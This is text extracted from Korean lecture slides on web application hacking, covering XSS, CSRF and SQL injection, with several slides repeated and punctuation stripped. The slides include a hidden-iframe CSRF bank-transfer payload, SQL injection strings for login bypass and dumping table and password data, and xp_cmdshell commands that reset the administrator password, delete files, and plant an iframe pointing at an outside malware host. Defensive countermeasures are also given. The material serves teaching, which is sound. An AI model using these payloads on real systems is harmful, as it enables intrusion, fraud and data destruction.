CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 24: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 24

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (12)

① 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도

② 스크립트가 시작하여 열람자의 쿠키 값을 가로챔

③ 가로챈 쿠키 값을 웹 프록시 등을 이용하여 재젂송

④ 공격자는 열람자의 정보로 로그인 (개인 정보 유출 다른 사용자의 정보 얻음)

Page 25

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (22)

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 25: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 25

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (22)

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

